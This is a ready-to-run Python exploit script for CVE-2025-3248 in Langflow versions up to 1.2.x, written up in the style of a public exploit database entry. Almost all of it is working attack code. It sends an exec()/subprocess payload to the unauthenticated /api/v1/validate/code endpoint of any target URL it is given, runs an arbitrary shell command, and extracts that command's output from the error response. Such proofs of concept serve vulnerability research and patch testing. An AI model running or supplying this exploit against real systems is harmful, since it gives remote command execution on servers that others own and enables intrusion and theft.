Langflow 1.2.x - Remote Code Execution (RCE)

#!/usr/bin/env python3
# Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE)
# Date: 2025-07-11
# Exploit Author: Raghad Abdallah Al-syouf
# Vendor Homepage: https://github.com/logspace-ai/langflow
# Software Link: https://github.com/logspace-ai/langflow/releases
# Version: <= 1.2.x
# Tested on: Ubuntu / Docker
# CVE: CVE-2025-3248

# Description:
#Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands.

# Usage:
#python3 cve-2025-3248.py http://target:7860 "id"



import requests
import argparse
import json
from urllib.parse import urljoin
from colorama import Fore, Style, init
import random

init(autoreset=True)
requests.packages.urllib3.disable_warnings()

BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX]

def show_banner():
    print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)}
╔════════════════════════════════════════════════════╗
║          Langflow <= 1.2.x - CVE-2025-3248         ║
║      Remote Code Execution via exposed API         ║
║     No authentication — triggers exec() call       ║
╚════════════════════════════════════════════════════╝
       Author: Raghad Abdallah Al-syouf
{Style.RESET_ALL}""")

class LangflowRCE:
    def __init__(self, target_url, timeout=10):
        self.base_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers = {
            "User-Agent": "Langflow-RCE-Scanner",
            "Content-Type": "application/json"
        }
        self.timeout = timeout

    def run_payload(self, command):
        endpoint = urljoin(self.base_url, "/api/v1/validate/code")
        payload = {
            "code": (
                f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
            )
        }

        print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}")
        try:
            response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
            print(f"{Fore.YELLOW}[+] HTTP {response.status_code}")
            if response.status_code == 200:
                try:
                    json_data = response.json()
                    err = json_data.get("function", {}).get("errors", [""])[0]
                    if isinstance(err, str) and err.startswith("b'"):
                        output = err[2:-1].encode().decode("unicode_escape").strip()
                        return output or "[!] No output returned."
                except Exception as e:
                    return f"[!] Error parsing response: {e}"
            return "[!] Target may not be vulnerable or is patched."
        except Exception as e:
            return f"[!] Request failed: {e}"

def main():
    parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE")
    parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)")
    parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)")
    args = parser.parse_args()

    show_banner()
    exploit = LangflowRCE(args.url)
    result = exploit.run_payload(args.cmd)

    print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}")

if __name__ == "__main__":
    main()